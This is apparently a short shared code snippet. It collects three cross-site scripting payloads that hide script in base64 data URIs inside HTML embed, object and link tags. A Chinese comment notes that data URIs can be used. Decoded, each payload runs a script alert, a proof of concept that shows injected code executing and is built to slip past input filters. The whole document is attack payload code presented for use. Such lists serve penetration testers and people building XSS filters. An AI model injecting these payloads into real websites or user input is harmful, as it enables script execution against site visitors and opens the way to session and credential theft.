XSS-Payload-Data-Uri
by zicai
HTML
<!-- 可以使用 data uri -->
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZW1iZWQtc3JjJyk8L3NjcmlwdD4=" type="">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnb2JqZWN0LWRhdGEnKTwvc2NyaXB0Pg==" type=""></object>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYS1ocmVmJyk8L3NjcmlwdD4=">click me</a>